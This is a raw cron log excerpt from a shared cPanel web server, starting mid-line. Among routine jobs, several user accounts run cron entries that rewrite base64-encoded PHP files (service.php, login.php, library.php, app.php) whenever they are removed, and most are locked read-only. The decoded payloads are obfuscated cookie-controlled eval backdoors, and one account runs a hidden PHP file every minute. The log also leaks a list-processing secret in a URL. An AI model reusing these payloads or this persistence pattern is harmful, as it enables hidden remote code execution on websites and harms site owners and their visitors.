JlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:06:01 medusa CROND[3325]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:06:01 medusa CROND[3318]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:07:02 medusa CROND[9297]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:07:02 medusa CROND[9298]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:07:02 medusa CROND[9299]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:07:02 medusa CROND[9300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:07:02 medusa CROND[9301]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:07:02 medusa CROND[9302]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:07:02 medusa CROND[9304]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:07:02 medusa CROND[9303]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:07:02 medusa CROND[9306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:07:02 medusa CROND[9308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:07:02 medusa CROND[9309]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:07:02 medusa CROND[9312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:08:01 medusa CROND[15670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:08:01 medusa CROND[15722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:08:01 medusa CROND[15772]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Apr 19 05:08:02 medusa CROND[15819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:08:02 medusa CROND[15820]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:08:02 medusa CROND[15821]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:08:02 medusa CROND[15823]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:08:02 medusa CROND[15824]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:08:02 medusa CROND[15825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:08:02 medusa CROND[15827]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:08:02 medusa CROND[15826]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:08:02 medusa CROND[15831]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:08:02 medusa CROND[15833]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:08:02 medusa CROND[15829]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:09:01 medusa CROND[14305]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 05:09:02 medusa CROND[14434]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:09:02 medusa CROND[14476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:09:02 medusa CROND[14477]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:09:02 medusa CROND[14478]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:09:02 medusa CROND[14480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
